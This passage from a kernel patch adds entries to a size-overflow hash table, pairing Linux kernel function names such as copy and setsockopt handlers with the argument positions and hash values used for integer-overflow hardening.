++_000140_hash concat_writev 3 21451 _000140_hash NULL
++_000141_hash copy_and_check 3 19089 _000141_hash NULL
++_000142_hash copy_from_user_toio 3 31966 _000142_hash NULL
++_000143_hash copy_items 6 50140 _000143_hash NULL
++_000144_hash copy_macs 4 45534 _000144_hash NULL
++_000145_hash __copy_to_user 3 17551 _000145_hash NULL
++_000146_hash copy_vm86_regs_from_user 3 45340 _000146_hash NULL
++_000147_hash core_sys_select 1 47494 _000147_hash NULL
++_000148_hash cosa_write 3 1774 _000148_hash NULL
++_000149_hash cp210x_set_config 4 46447 _000149_hash NULL
++_000150_hash create_entry 2 33479 _000150_hash NULL
++_000151_hash create_queues 2-3 9088 _000151_hash NULL
++_000153_hash create_xattr 5 54106 _000153_hash NULL
++_000154_hash create_xattr_datum 5 33356 _003443_hash NULL nohasharray
++_000155_hash csum_partial_copy_fromiovecend 3-4 9957 _000155_hash NULL
++_000157_hash ctrl_out 3-5 8712 _000157_hash NULL
++_000159_hash cxacru_cm_get_array 4 4412 _000159_hash NULL
++_000160_hash cxgbi_alloc_big_mem 1 4707 _000160_hash NULL
++_000161_hash dac960_user_command_proc_write 3 3071 _000161_hash NULL
++_000162_hash datablob_format 2 39571 _002490_hash NULL nohasharray
++_000163_hash dccp_feat_clone_sp_val 3 11942 _000163_hash NULL
++_000164_hash dccp_setsockopt_ccid 4 30701 _000164_hash NULL
++_000165_hash dccp_setsockopt_cscov 2 37766 _000165_hash NULL
++_000166_hash dccp_setsockopt_service 4 65336 _000166_hash NULL
++_000167_hash ddebug_proc_write 3 18055 _000167_hash NULL
++_000168_hash dev_config 3 8506 _000168_hash NULL
++_000169_hash device_write 3 45156 _000169_hash NULL
++_000170_hash devm_kzalloc 2 4966 _000170_hash NULL
++_000171_hash devres_alloc 2 551 _000171_hash NULL
++_000172_hash dfs_file_write 3 41196 _000172_hash NULL
++_000173_hash direct_entry 3 38836 _000173_hash NULL
++_000174_hash dispatch_ioctl 2 32357 _000174_hash NULL
++_000175_hash dispatch_proc_write 3 44320 _000175_hash NULL
++_000176_hash diva_os_copy_from_user 4 7792 _000176_hash NULL
++_000177_hash dlm_alloc_pagevec 1 54296 _000177_hash NULL
++_000178_hash dlmfs_file_read 3 28385 _000178_hash NULL
++_000179_hash dlmfs_file_write 3 6892 _000179_hash NULL
++_000180_hash dm_read 3 15674 _000180_hash NULL
++_000181_hash dm_write 3 2513 _000181_hash NULL
++_000182_hash __dn_setsockopt 5 13060 _000182_hash NULL
++_000183_hash dns_query 3 9676 _000183_hash NULL
++_000184_hash dns_resolver_instantiate 3 63314 _000184_hash NULL
++_000185_hash do_add_counters 3 3992 _000185_hash NULL
++_000186_hash __do_config_autodelink 3 58763 _000186_hash NULL
++_000187_hash do_ip_setsockopt 5 41852 _000187_hash NULL
++_000188_hash do_ipv6_setsockopt 5 18215 _000188_hash NULL
++_000189_hash do_ip_vs_set_ctl 4 48641 _000189_hash NULL
++_000190_hash do_kimage_alloc 3 64827 _000190_hash NULL
++_000191_hash do_register_entry 4 29478 _000191_hash NULL
++_000192_hash do_tty_write 5 44896 _000192_hash NULL
++_000193_hash do_update_counters 4 2259 _000193_hash NULL
++_000194_hash dsp_write 2 46218 _000194_hash NULL
++_000195_hash dup_to_netobj 3 26363 _000195_hash NULL
++_000196_hash dwc3_link_state_write 3 12641 _000196_hash NULL
++_000197_hash dwc3_mode_write 3 51997 _000197_hash NULL
++_000198_hash dwc3_testmode_write 3 30516 _000198_hash NULL
++_000199_hash ecryptfs_copy_filename 4 11868 _000199_hash NULL
++_000200_hash ecryptfs_miscdev_write 3 26847 _000200_hash NULL
++_000201_hash ecryptfs_send_miscdev 2 64816 _000201_hash NULL
++_000202_hash efx_tsoh_heap_alloc 2 58545 _000202_hash NULL
++_000203_hash emi26_writememory 4 57908 _000203_hash NULL
++_000204_hash emi62_writememory 4 29731 _000204_hash NULL
++_000205_hash encrypted_instantiate 3 3168 _000205_hash NULL
++_000206_hash encrypted_update 3 13414 _000206_hash NULL
++_000207_hash ep0_write 3 14536 _001422_hash NULL nohasharray
++_000208_hash ep_read 3 58813 _000208_hash NULL
++_000209_hash ep_write 3 59008 _000209_hash NULL
++_000210_hash erst_dbg_write 3 46715 _000210_hash NULL
++_000211_hash esp_alloc_tmp 2-3 40558 _000211_hash NULL
++_000213_hash evdev_do_ioctl 2 24459 _000213_hash NULL
++_000214_hash exofs_read_lookup_dev_table 3 17733 _000214_hash NULL
++_000215_hash ext4_kvmalloc 1 14796 _000215_hash NULL
++_000216_hash ezusb_writememory 4 45976 _000216_hash NULL
++_000217_hash fanotify_write 3 64623 _000217_hash NULL
++_000218_hash fd_copyin 3 56247 _000218_hash NULL
++_000219_hash ffs_epfile_io 3 64886 _000219_hash NULL
++_000220_hash ffs_prepare_buffer 2 59892 _000220_hash NULL
++_000221_hash f_hidg_write 3 7932 _000221_hash NULL
++_000222_hash file_read_actor 4 1401 _000222_hash NULL
++_000223_hash fill_write_buffer 3 3142 _000223_hash NULL
++_000224_hash __find_xattr 6 2117 _002425_hash NULL nohasharray
++_000225_hash fl_create 5 56435 _000225_hash NULL
++_000226_hash fs_path_ensure_buf 2 59445 _000226_hash NULL
++_000227_hash ftdi_elan_write 3 57309 _000227_hash NULL
++_000228_hash fw_iso_buffer_alloc 2 13704 _000228_hash NULL
++_000229_hash garmin_write_bulk 3 58191 _000229_hash NULL
++_000230_hash garp_attr_create 3 3883 _000230_hash NULL
++_000231_hash get_arg 3 5694 _000231_hash NULL
++_000232_hash getdqbuf 1 62908 _000232_hash NULL
++_000233_hash get_fdb_entries 3 41916 _000233_hash NULL
++_000234_hash get_fd_set 1 3866 _000234_hash NULL
++_000235_hash get_indirect_ea 4 51869 _000235_hash NULL
++_000236_hash get_registers 3 26187 _000236_hash NULL
++_000237_hash get_scq 2 10897 _000237_hash NULL
++_000238_hash get_server_iovec 2 16804 _000238_hash NULL
++_000239_hash get_ucode_user 3 38202 _000239_hash NULL
++_000240_hash get_user_cpu_mask 2 14861 _000240_hash NULL
++_000241_hash gfs2_alloc_sort_buffer 1 18275 _000241_hash NULL
++_000242_hash gfs2_glock_nq_m 1 20347 _000242_hash NULL
++_000243_hash gigaset_initcs 2 43753 _000243_hash NULL
++_000244_hash gigaset_initdriver 2 1060 _000244_hash NULL
++_000245_hash groups_alloc 1 7614 _000245_hash NULL
++_000246_hash gs_alloc_req 2 58883 _000246_hash NULL
++_000247_hash gs_buf_alloc 2 25067 _000247_hash NULL
++_000248_hash gsm_data_alloc 3 42437 _000248_hash NULL
++_000249_hash gss_pipe_downcall 3 23182 _000249_hash NULL
++_000250_hash handle_request 9 10024 _000250_hash NULL
++_000251_hash hashtab_create 3 33769 _000251_hash NULL
++_000252_hash hcd_buffer_alloc 2 27495 _000252_hash NULL
++_000253_hash hci_sock_setsockopt 5 28993 _000253_hash NULL
++_000254_hash heap_init 2 49617 _000254_hash NULL
++_000255_hash hest_ghes_dev_register 1 46766 _000255_hash NULL
++_000256_hash hidg_alloc_ep_req 2 10159 _000256_hash NULL
++_000257_hash hid_parse_report 3 51737 _000257_hash NULL
++_000258_hash hidraw_get_report 3 45609 _000258_hash NULL
++_000259_hash hidraw_report_event 3 20503 _000259_hash NULL
++_000260_hash hidraw_send_report 3 23449 _000260_hash NULL
++_000261_hash hpfs_translate_name 3 41497 _000261_hash NULL
++_000262_hash hysdn_conf_write 3 52145 _000262_hash NULL
++_000263_hash __i2400mu_send_barker 3 23652 _000263_hash NULL
++_000264_hash i2cdev_read 3 1206 _000264_hash NULL
++_000265_hash i2cdev_write 3 23310 _000265_hash NULL
++_000266_hash i2o_parm_field_get 5 34477 _000266_hash NULL
++_000267_hash i2o_parm_table_get 6 61635 _000267_hash NULL
++_000268_hash ib_copy_from_udata 3 59502 _000268_hash NULL
++_000269_hash ib_ucm_alloc_data 3 36885 _000269_hash NULL
++_000270_hash ib_umad_write 3 47993 _000270_hash NULL
++_000271_hash ib_uverbs_unmarshall_recv 5 12251 _000271_hash NULL
++_000272_hash icn_writecmd 2 38629 _000272_hash NULL
++_000273_hash ide_driver_proc_write 3 32493 _000273_hash NULL
++_000274_hash ide_settings_proc_write 3 35110 _000274_hash NULL
++_000275_hash idetape_chrdev_write 3 53976 _000275_hash NULL
++_000276_hash idmap_pipe_downcall 3 14591 _000276_hash NULL
++_000277_hash ieee80211_build_probe_req 7-5 27660 _000277_hash NULL
++_000278_hash ieee80211_if_write 3 34894 _000278_hash NULL
++_000279_hash if_write 3 51756 _000279_hash NULL
++_000280_hash ilo_write 3 64378 _000280_hash NULL
++_000281_hash ima_write_policy 3 40548 _000281_hash NULL
++_000282_hash init_data_container 1 60709 _000282_hash NULL
++_000283_hash init_send_hfcd 1 34586 _000283_hash NULL
++_000284_hash insert_dent 7 65034 _000284_hash NULL
++_000285_hash interpret_user_input 2 19393 _000285_hash NULL
++_000286_hash int_proc_write 3 39542 _000286_hash NULL
++_000287_hash ioctl_private_iw_point 7 1273 _000287_hash NULL
++_000288_hash iov_iter_copy_from_user 4 31942 _000288_hash NULL
++_000289_hash iov_iter_copy_from_user_atomic 4 56368 _000289_hash NULL
++_000290_hash iowarrior_write 3 18604 _000290_hash NULL
++_000291_hash ipc_alloc 1 1192 _000291_hash NULL
++_000292_hash ipc_rcu_alloc 1 21208 _000292_hash NULL
++_000293_hash ip_options_get_from_user 4 64958 _000293_hash NULL
++_000294_hash ipv6_renew_option 3 38813 _000294_hash NULL
++_000295_hash ip_vs_conn_fill_param_sync 6 29771 _001898_hash NULL nohasharray
++_000296_hash ip_vs_create_timeout_table 2 64478 _000296_hash NULL
++_000297_hash ipw_queue_tx_init 3 49161 _000297_hash NULL
++_000298_hash irda_setsockopt 5 19824 _000298_hash NULL
++_000299_hash irias_new_octseq_value 2 13596 _003821_hash NULL nohasharray
++_000300_hash irnet_ctrl_write 3 24139 _000300_hash NULL
++_000301_hash isdn_add_channels 3 40905 _000301_hash NULL
++_000302_hash isdn_ppp_fill_rq 2 41428 _000302_hash NULL
++_000303_hash isdn_ppp_write 4 29109 _000303_hash NULL
++_000304_hash isdn_read 3 50021 _000304_hash NULL
++_000305_hash isdn_v110_open 3 2418 _000305_hash NULL
++_000306_hash isdn_writebuf_stub 4 52383 _000306_hash NULL
++_000307_hash islpci_mgt_transmit 5 34133 _000307_hash NULL
++_000308_hash iso_callback 3 43208 _000308_hash NULL
++_000309_hash iso_packets_buffer_init 3-4 29061 _000309_hash NULL
++_000310_hash it821x_firmware_command 3 8628 _000310_hash NULL
++_000311_hash iwch_alloc_fastreg_pbl 2 40153 _000311_hash NULL
++_000312_hash iwl_calib_set 3 34400 _003754_hash NULL nohasharray
++_000313_hash jbd2_journal_init_revoke_table 1 36336 _000313_hash NULL
++_000314_hash jffs2_alloc_full_dirent 1 60179 _001158_hash NULL nohasharray
++_000315_hash journal_init_revoke_table 1 56331 _000315_hash NULL
++_000316_hash kcalloc 1-2 27770 _000316_hash NULL
++_000318_hash keyctl_instantiate_key_common 4 47889 _000318_hash NULL
++_000319_hash keyctl_update_key 3 26061 _000319_hash NULL
++_000320_hash __kfifo_alloc 2-3 22173 _000320_hash NULL
++_000322_hash kfifo_copy_from_user 3 5091 _000322_hash NULL
++_000323_hash kmalloc_node 1 50163 _003818_hash NULL nohasharray
++_000324_hash kmalloc_parameter 1 65279 _000324_hash NULL
++_000325_hash kmem_alloc 1 31920 _000325_hash NULL
++_000326_hash kobj_map 2-3 9566 _000326_hash NULL
++_000328_hash kone_receive 4 4690 _000328_hash NULL
++_000329_hash kone_send 4 63435 _000329_hash NULL
++_000330_hash krealloc 2 14908 _000330_hash NULL
++_000331_hash kvmalloc 1 32646 _000331_hash NULL
++_000332_hash kvm_read_guest_atomic 4 10765 _000332_hash NULL
++_000333_hash kvm_read_guest_cached 4 39666 _000333_hash NULL
++_000334_hash kvm_read_guest_page 5 18074 _000334_hash NULL
++_000335_hash kzalloc 1 54740 _000335_hash NULL
++_000336_hash l2cap_sock_setsockopt 5 50207 _000336_hash NULL
++_000337_hash l2cap_sock_setsockopt_old 4 29346 _000337_hash NULL
++_000338_hash lane2_associate_req 4 45398 _000338_hash NULL
++_000339_hash lbs_debugfs_write 3 48413 _000339_hash NULL
++_000340_hash lcd_write 3 14857 _000340_hash &_000015_hash
++_000341_hash ldm_frag_add 2 5611 _000341_hash NULL
++_000342_hash __lgread 4 31668 _000342_hash NULL
++_000343_hash libipw_alloc_txb 1-3-2 27579 _000343_hash NULL
++_000344_hash link_send_sections_long 4 46556 _000344_hash NULL
++_000345_hash listxattr 3 12769 _000345_hash NULL
++_000346_hash load_msg 2 95 _000346_hash NULL
++_000347_hash lpfc_debugfs_dif_err_write 3 17424 _000347_hash NULL
++_000348_hash lp_write 3 9511 _000348_hash NULL
++_000349_hash mb_cache_create 2 17307 _000349_hash NULL
++_000350_hash mce_write 3 26201 _000350_hash NULL
++_000351_hash mcs7830_get_reg 3 33308 _000351_hash NULL
++_000352_hash mcs7830_set_reg 3 31413 _000352_hash NULL
++_000353_hash memcpy_fromiovec 3 55247 _000353_hash NULL
++_000354_hash memcpy_fromiovecend 3-4 2707 _000354_hash NULL
++_000356_hash mempool_resize 2 47983 _002039_hash NULL nohasharray
++_000357_hash mem_rw 3 22085 _000357_hash NULL
++_000358_hash mgmt_control 3 7349 _000358_hash NULL
++_000359_hash mgmt_pending_add 5 46976 _000359_hash NULL
++_000360_hash mlx4_ib_alloc_fast_reg_page_list 2 46119 _000360_hash NULL
++_000361_hash mmc_alloc_sg 1 21504 _000361_hash NULL
++_000362_hash mmc_send_bus_test 4 18285 _000362_hash NULL
++_000363_hash mmc_send_cxd_data 5 38655 _000363_hash NULL
++_000364_hash module_alloc_update_bounds 1 47205 _000364_hash NULL
++_000365_hash move_addr_to_kernel 2 32673 _000365_hash NULL
++_000366_hash mpi_alloc_limb_space 1 23190 _000366_hash NULL
++_000367_hash mpi_resize 2 44674 _000367_hash NULL
++_000368_hash mptctl_getiocinfo 2 28545 _000368_hash NULL
++_000369_hash mtdchar_readoob 4 31200 _000369_hash NULL
++_000370_hash mtdchar_write 3 56831 _002122_hash NULL nohasharray
++_000371_hash mtdchar_writeoob 4 3393 _000371_hash NULL
++_000372_hash mtd_device_parse_register 5 5024 _000372_hash NULL
++_000373_hash mtf_test_write 3 18844 _000373_hash NULL
++_000374_hash mthca_alloc_icm_table 3-4 38268 _002459_hash NULL nohasharray
++_000376_hash mthca_alloc_init 2 21754 _000376_hash NULL
++_000377_hash mthca_array_init 2 39987 _000377_hash NULL
++_000378_hash mthca_buf_alloc 2 35861 _000378_hash NULL
++_000379_hash mtrr_write 3 59622 _000379_hash NULL
++_000380_hash musb_test_mode_write 3 33518 _000380_hash NULL
++_000381_hash mwifiex_get_common_rates 3 17131 _000381_hash NULL
++_000382_hash __mxt_write_reg 3 57326 _000382_hash NULL
++_000383_hash nand_bch_init 2-3 16280 _001439_hash NULL nohasharray
++_000385_hash ncp_file_write 3 3813 _000385_hash NULL
++_000386_hash ncp__vol2io 5 4804 _000386_hash NULL
++_000387_hash nes_alloc_fast_reg_page_list 2 33523 _000387_hash NULL
++_000388_hash nfc_targets_found 3 29886 _000388_hash NULL
++_000389_hash __nf_ct_ext_add_length 3 12364 _000389_hash NULL
++_000390_hash nfs4_acl_new 1 49806 _000390_hash NULL
++_000391_hash nfs4_write_cached_acl 4 15070 _000391_hash NULL
++_000392_hash nfsd_symlink 6 63442 _000392_hash NULL
++_000393_hash nfs_idmap_get_desc 2-4 42990 _000393_hash NULL
++_000395_hash nfs_readdir_make_qstr 3 12509 _000395_hash NULL
++_000396_hash note_last_dentry 3 12285 _000396_hash NULL
++_000397_hash ntfs_copy_from_user 3-5 15072 _000397_hash NULL
++_000399_hash __ntfs_copy_from_user_iovec_inatomic 3-4 38153 _000399_hash NULL
++_000401_hash ntfs_ucstonls 3-5 23097 _000401_hash NULL
++_000403_hash nvme_alloc_iod 1 56027 _000403_hash NULL
++_000404_hash nvram_write 3 3894 _000404_hash NULL
++_000405_hash o2hb_debug_create 4 18744 _000405_hash NULL
++_000406_hash o2net_send_message_vec 4 879 _002013_hash NULL nohasharray
++_000407_hash ocfs2_control_cfu 2 37750 _000407_hash NULL
++_000408_hash oom_adjust_write 3 41116 _000408_hash NULL
++_000409_hash oom_score_adj_write 3 42594 _000409_hash NULL
++_000410_hash oprofilefs_ulong_from_user 3 57251 _000410_hash NULL
++_000411_hash opticon_write 4 60775 _000411_hash NULL
++_000412_hash p9_check_zc_errors 4 15534 _000412_hash NULL
++_000413_hash packet_buffer_init 2 1607 _000413_hash NULL
++_000414_hash packet_setsockopt 5 17662 _000414_hash NULL
++_000415_hash parse_command 2 37079 _000415_hash NULL
++_000416_hash pcbit_writecmd 2 12332 _000416_hash NULL
++_000417_hash pcmcia_replace_cis 3 57066 _000417_hash NULL
++_000418_hash pgctrl_write 3 50453 _000418_hash NULL
++_000419_hash pg_write 3 40766 _000419_hash NULL
++_000420_hash pidlist_allocate 1 64404 _000420_hash NULL
++_000421_hash pipe_iov_copy_from_user 3 23102 _000421_hash NULL
++_000422_hash pipe_iov_copy_to_user 3 3447 _000422_hash NULL
++_000423_hash pkt_add 3 39897 _000423_hash NULL
++_000424_hash pktgen_if_write 3 55628 _000424_hash NULL
++_000425_hash platform_device_add_data 3 310 _000425_hash NULL
++_000426_hash platform_device_add_resources 3 13289 _000426_hash NULL
++_000427_hash pmcraid_copy_sglist 3 38431 _000427_hash NULL
++_000428_hash pm_qos_power_write 3 52513 _000428_hash NULL
++_000429_hash pnpbios_proc_write 3 19758 _000429_hash NULL
++_000430_hash pool_allocate 3 42012 _000430_hash NULL
++_000431_hash posix_acl_alloc 1 48063 _000431_hash NULL
++_000432_hash ppp_cp_parse_cr 4 5214 _000432_hash NULL
++_000433_hash ppp_write 3 34034 _000433_hash NULL
++_000434_hash pp_read 3 33210 _000434_hash NULL
++_000435_hash pp_write 3 39554 _000435_hash NULL
++_000436_hash printer_req_alloc 2 62687 _000436_hash NULL
++_000437_hash printer_write 3 60276 _000437_hash NULL
++_000438_hash prism2_info_scanresults 3 59729 _000438_hash NULL
++_000439_hash prism2_set_genericelement 3 29277 _000439_hash NULL
++_000440_hash __probe_kernel_read 3 61119 _000440_hash NULL
++_000441_hash __probe_kernel_write 3 29842 _000441_hash NULL
++_000442_hash proc_coredump_filter_write 3 25625 _000442_hash NULL
++_000443_hash _proc_do_string 2 6376 _000443_hash NULL
++_000444_hash process_vm_rw_pages 5-6 15954 _000444_hash NULL
++_000446_hash proc_loginuid_write 3 63648 _000446_hash NULL
++_000447_hash proc_pid_attr_write 3 63845 _000447_hash NULL
++_000448_hash proc_scsi_devinfo_write 3 32064 _000448_hash NULL
++_000449_hash proc_scsi_write 3 29142 _000449_hash NULL
++_000450_hash proc_scsi_write_proc 3 267 _000450_hash NULL
++_000451_hash pskb_expand_head 2-3 42881 _000451_hash NULL
++_000453_hash pstore_mkfile 5 50830 _000453_hash NULL
++_000454_hash pti_char_write 3 60960 _000454_hash NULL
++_000455_hash ptrace_writedata 4 45021 _000455_hash NULL
++_000456_hash pt_write 3 40159 _000456_hash NULL
++_000457_hash qdisc_class_hash_alloc 1 18262 _000457_hash NULL
++_000458_hash r3964_write 4 57662 _000458_hash NULL
++_000459_hash raw_seticmpfilter 3 6888 _000459_hash NULL
++_000460_hash raw_setsockopt 5 45800 _000460_hash NULL
++_000461_hash rawv6_seticmpfilter 5 12137 _000461_hash NULL
++_000462_hash ray_cs_essid_proc_write 3 17875 _000462_hash NULL
++_000463_hash rbd_add 3 16366 _000463_hash NULL
++_000464_hash rbd_snap_add 4 19678 _000464_hash NULL
++_000465_hash rdma_set_ib_paths 3 45592 _000465_hash NULL
++_000466_hash rds_page_copy_user 4 35691 _000466_hash NULL
++_000467_hash read 3 9397 _000467_hash NULL
++_000468_hash read_buf 2 20469 _000468_hash NULL
++_000469_hash read_cis_cache 4 29735 _000469_hash NULL
++_000470_hash realloc_buffer 2 25816 _000470_hash NULL
++_000471_hash receive_DataRequest 3 9904 _000471_hash NULL
++_000472_hash recent_mt_proc_write 3 8206 _000472_hash NULL
++_000473_hash regmap_access_read_file 3 37223 _000473_hash NULL
++_000474_hash regmap_bulk_write 4 59049 _000474_hash NULL
++_000475_hash regmap_map_read_file 3 37685 _000475_hash NULL
++_000476_hash regset_tls_set 4 18459 _000476_hash NULL
++_000477_hash reiserfs_add_entry 4 23062 _002792_hash NULL nohasharray
++_000478_hash remote_settings_file_write 3 22987 _000478_hash NULL
++_000479_hash request_key_auth_new 3 38092 _000479_hash NULL
++_000480_hash restore_i387_fxsave 2 17528 _000480_hash NULL
++_000481_hash revalidate 2 19043 _000481_hash NULL
++_000482_hash rfcomm_sock_setsockopt 5 18254 _000482_hash NULL
++_000483_hash rndis_add_response 2 58544 _000483_hash NULL
++_000484_hash rndis_set_oid 4 6547 _000484_hash NULL
++_000485_hash rngapi_reset 3 34366 _002137_hash NULL nohasharray
++_000486_hash roccat_common2_receive 4 50369 _000486_hash NULL
++_000487_hash roccat_common2_send 4 2422 _000487_hash NULL
++_000488_hash rpc_malloc 2 43573 _000488_hash NULL
++_000489_hash rt2x00debug_write_bbp 3 8212 _000489_hash NULL
++_000490_hash rt2x00debug_write_csr 3 64753 _000490_hash NULL
++_000491_hash rt2x00debug_write_eeprom 3 23091 _000491_hash NULL
++_000492_hash rt2x00debug_write_rf 3 38195 _000492_hash NULL
++_000493_hash rt2x00debug_write_rfcsr 3 41473 _000493_hash NULL
++_000494_hash rts51x_read_mem 4 26577 _002730_hash NULL nohasharray
++_000495_hash rts51x_read_status 4 11830 _000495_hash NULL
++_000496_hash rts51x_write_mem 4 17598 _000496_hash NULL
++_000497_hash rw_copy_check_uvector 3 45748 _003716_hash NULL nohasharray
++_000498_hash rxrpc_request_key 3 27235 _000498_hash NULL
++_000499_hash rxrpc_server_keyring 3 16431 _000499_hash NULL
++_000500_hash savemem 3 58129 _000500_hash NULL
++_000501_hash sb16_copy_from_user 10-7-6 55836 _000501_hash NULL
++_000504_hash sched_autogroup_write 3 10984 _000504_hash NULL
++_000505_hash scsi_mode_select 6 37330 _000505_hash NULL
++_000506_hash scsi_tgt_copy_sense 3 26933 _000506_hash NULL
++_000507_hash sctp_auth_create_key 1 51641 _000507_hash NULL
++_000508_hash sctp_getsockopt_delayed_ack 2 9232 _000508_hash NULL
++_000509_hash sctp_getsockopt_local_addrs 2 25178 _000509_hash NULL
++_000510_hash sctp_make_abort_user 3 29654 _000510_hash NULL
++_000511_hash sctp_setsockopt_active_key 3 43755 _000511_hash NULL
++_000512_hash sctp_setsockopt_adaptation_layer 3 26935 _003246_hash NULL nohasharray
++_000513_hash sctp_setsockopt_associnfo 3 51684 _000513_hash NULL
++_000514_hash sctp_setsockopt_auth_chunk 3 30843 _000514_hash NULL
++_000515_hash sctp_setsockopt_auth_key 3 3793 _000515_hash NULL
++_000516_hash sctp_setsockopt_autoclose 3 5775 _000516_hash NULL
++_000517_hash sctp_setsockopt_bindx 3 49870 _000517_hash NULL
++_000518_hash __sctp_setsockopt_connectx 3 46949 _000518_hash NULL
++_000519_hash sctp_setsockopt_context 3 31091 _000519_hash NULL
++_000520_hash sctp_setsockopt_default_send_param 3 49578 _000520_hash NULL
++_000521_hash sctp_setsockopt_delayed_ack 3 40129 _000521_hash NULL
++_000522_hash sctp_setsockopt_del_key 3 42304 _002709_hash NULL nohasharray
++_000523_hash sctp_setsockopt_events 3 18862 _000523_hash NULL
++_000524_hash sctp_setsockopt_hmac_ident 3 11687 _000524_hash NULL
++_000525_hash sctp_setsockopt_initmsg 3 1383 _000525_hash NULL
++_000526_hash sctp_setsockopt_maxburst 3 28041 _000526_hash NULL
++_000527_hash sctp_setsockopt_maxseg 3 11829 _000527_hash NULL
++_000528_hash sctp_setsockopt_peer_addr_params 3 734 _000528_hash NULL
++_000529_hash sctp_setsockopt_peer_primary_addr 3 13440 _000529_hash NULL
++_000530_hash sctp_setsockopt_rtoinfo 3 30941 _000530_hash NULL
++_000531_hash security_context_to_sid_core 2 29248 _000531_hash NULL
++_000532_hash sel_commit_bools_write 3 46077 _000532_hash NULL
++_000533_hash sel_write_avc_cache_threshold 3 2256 _000533_hash NULL
++_000534_hash sel_write_bool 3 46996 _000534_hash NULL
++_000535_hash sel_write_checkreqprot 3 60774 _000535_hash NULL
++_000536_hash sel_write_disable 3 10511 _000536_hash NULL
++_000537_hash sel_write_enforce 3 48998 _000537_hash NULL
++_000538_hash sel_write_load 3 63830 _000538_hash NULL
++_000539_hash send_bulk_static_data 3 61932 _000539_hash NULL
++_000540_hash set_aoe_iflist 2 42737 _000540_hash NULL
++_000541_hash setkey_unaligned 3 39474 _000541_hash NULL
++_000542_hash set_registers 3 53582 _000542_hash NULL
++_000543_hash setsockopt 5 54539 _000543_hash NULL
++_000544_hash setup_req 3 5848 _000544_hash NULL
++_000545_hash setxattr 4 37006 _000545_hash NULL
++_000546_hash sfq_alloc 1 2861 _000546_hash NULL
++_000547_hash sg_kmalloc 1 50240 _000547_hash NULL
++_000548_hash sgl_map_user_pages 2 30610 _000548_hash NULL
++_000549_hash shash_setkey_unaligned 3 8620 _000549_hash NULL
++_000550_hash shmem_xattr_alloc 2 61190 _000550_hash NULL
++_000551_hash sierra_setup_urb 5 46029 _000551_hash NULL
++_000552_hash simple_transaction_get 3 50633 _000552_hash NULL
++_000553_hash simple_write_to_buffer 2-5 3122 _000553_hash NULL
++_000555_hash sisusb_send_bulk_msg 3 17864 _000555_hash NULL
++_000556_hash skb_add_data 3 48363 _000556_hash NULL
++_000557_hash skb_do_copy_data_nocache 5 12465 _000557_hash NULL
++_000558_hash sl_alloc_bufs 2 50380 _000558_hash NULL
++_000559_hash sl_realloc_bufs 2 64086 _000559_hash NULL
++_000560_hash smk_set_cipso 3 20379 _000560_hash NULL
++_000561_hash smk_write_ambient 3 45691 _000561_hash NULL
++_000562_hash smk_write_direct 3 46363 _000562_hash NULL
++_000563_hash smk_write_doi 3 49621 _000563_hash NULL
++_000564_hash smk_write_logging 3 2618 _000564_hash NULL
++_000565_hash smk_write_mapped 3 13519 _000565_hash NULL
++_000566_hash smk_write_netlbladdr 3 42525 _000566_hash NULL
++_000567_hash smk_write_onlycap 3 14400 _000567_hash NULL
++_000568_hash smk_write_rules_list 3 18565 _000568_hash NULL
++_000569_hash snd_ctl_elem_user_tlv 3 11695 _000569_hash NULL
++_000570_hash snd_emu10k1_fx8010_read 5 9605 _000570_hash NULL
++_000571_hash snd_emu10k1_synth_copy_from_user 3-5 9061 _000571_hash NULL
++_000573_hash snd_gus_dram_poke 4 18525 _000573_hash NULL
++_000574_hash snd_hdsp_playback_copy 5 20676 _000574_hash NULL
++_000575_hash snd_info_entry_write 3 63474 _000575_hash NULL
++_000576_hash snd_korg1212_copy_from 6 36169 _000576_hash NULL
++_000577_hash snd_mem_proc_write 3 9786 _000577_hash NULL
++_000578_hash snd_midi_channel_init_set 1 30092 _000578_hash NULL
++_000579_hash snd_midi_event_new 1 9893 _000764_hash NULL nohasharray
++_000580_hash snd_opl4_mem_proc_write 5 9670 _000580_hash NULL
++_000581_hash snd_pcm_aio_read 3 13900 _000581_hash NULL
++_000582_hash snd_pcm_aio_write 3 28738 _000582_hash NULL
++_000583_hash snd_pcm_oss_write1 3 10872 _000583_hash NULL
++_000584_hash snd_pcm_oss_write2 3 27332 _000584_hash NULL
++_000585_hash snd_rawmidi_kernel_write1 4 56847 _000585_hash NULL
++_000586_hash snd_rme9652_playback_copy 5 20970 _000586_hash NULL
++_000587_hash snd_sb_csp_load_user 3 45190 _000587_hash NULL
++_000588_hash snd_usb_ctl_msg 8 8436 _000588_hash NULL
++_000589_hash sock_bindtodevice 3 50942 _000589_hash NULL
++_000590_hash sock_kmalloc 2 62205 _000590_hash NULL
++_000591_hash spidev_ioctl 2 12846 _000591_hash NULL
++_000592_hash spidev_write 3 44510 _000592_hash NULL
++_000593_hash squashfs_read_table 3 16945 _000593_hash NULL
++_000594_hash srpt_alloc_ioctx 2-3 51042 _000594_hash NULL
++_000596_hash srpt_alloc_ioctx_ring 2-4-3 49330 _000596_hash NULL
++_000597_hash st5481_setup_isocpipes 6-4 61340 _000597_hash NULL
++_000598_hash sta_agg_status_write 3 45164 _000598_hash NULL
++_000599_hash svc_setsockopt 5 36876 _000599_hash NULL
++_000600_hash sys_add_key 4 61288 _000600_hash NULL
++_000601_hash sys_modify_ldt 3 18824 _000601_hash NULL
++_000602_hash sys_semtimedop 3 4486 _000602_hash NULL
++_000603_hash sys_setdomainname 2 4373 _000603_hash NULL
++_000604_hash sys_sethostname 2 42962 _000604_hash NULL
++_000605_hash tomoyo_write_self 3 45161 _000605_hash NULL
++_000606_hash tower_write 3 8580 _000606_hash NULL
++_000607_hash tpm_write 3 50798 _000607_hash NULL
++_000608_hash trusted_instantiate 3 4710 _000608_hash NULL
++_000609_hash trusted_update 3 12664 _000609_hash NULL
++_000610_hash tty_buffer_alloc 2 45437 _000610_hash NULL
++_000611_hash __tun_chr_ioctl 4 22300 _000611_hash NULL
++_000612_hash ubi_more_leb_change_data 4 63534 _000612_hash NULL
++_000613_hash ubi_more_update_data 4 39189 _000613_hash NULL
++_000614_hash ubi_resize_volume 2 50172 _000614_hash NULL
++_000615_hash udf_alloc_i_data 2 35786 _000615_hash NULL
++_000616_hash uea_idma_write 3 64139 _000616_hash NULL
++_000617_hash uea_request 4 47613 _000617_hash NULL
++_000618_hash uea_send_modem_cmd 3 3888 _000618_hash NULL
++_000619_hash uio_write 3 43202 _000619_hash NULL
++_000620_hash um_idi_write 3 18293 _000620_hash NULL
++_000621_hash us122l_ctl_msg 8 13330 _000621_hash NULL
